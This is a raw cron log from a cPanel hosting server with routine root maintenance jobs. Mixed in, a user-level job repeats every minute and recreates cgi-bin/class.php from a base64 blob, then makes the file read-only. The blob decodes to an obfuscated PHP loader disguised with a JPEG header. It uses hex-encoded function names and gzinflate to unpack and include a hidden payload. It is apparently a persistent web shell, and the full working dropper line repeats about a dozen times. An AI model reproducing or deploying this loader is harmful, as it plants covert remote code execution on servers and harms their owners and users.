Sep 11 17:20:01 server CROND[16143]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:20:01 server CROND[16144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:20:01 server CROND[16145]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:20:01 server CROND[16149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:20:01 server CROND[16148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:20:01 server CROND[16140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:21:01 server CROND[16965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:21:01 server CROND[16966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:21:01 server CROND[16967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:22:01 server CROND[17345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:22:01 server CROND[17346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:22:01 server CROND[17347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:23:01 server CROND[17836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:23:01 server CROND[17837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:23:01 server CROND[17838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:24:01 server CROND[18219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:24:01 server CROND[18220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:24:01 server CROND[18221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:25:01 server CROND[18659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:25:01 server CROND[18661]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:25:01 server CROND[18664]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:25:01 server CROND[18669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:25:01 server CROND[18667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:25:01 server CROND[18662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:25:01 server CROND[18668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:26:01 server CROND[19489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:26:01 server CROND[19488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:26:01 server CROND[19490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:27:01 server CROND[19870]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:27:01 server CROND[19871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:27:01 server CROND[19873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:27:01 server CROND[19877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:28:01 server CROND[20535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:28:01 server CROND[20536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:28:01 server CROND[20537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:29:01 server CROND[20914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:29:01 server CROND[20915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:29:01 server CROND[20916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:30:01 server CROND[21311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:30:01 server CROND[21313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:30:01 server CROND[21314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:30:01 server CROND[21315]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:30:01 server CROND[21317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:30:01 server CROND[21318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:30:01 server CROND[21320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:30:01 server CROND[21319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:31:01 server CROND[22153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:31:01 server CROND[22152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:31:01 server CROND[22154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:32:01 server CROND[22547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
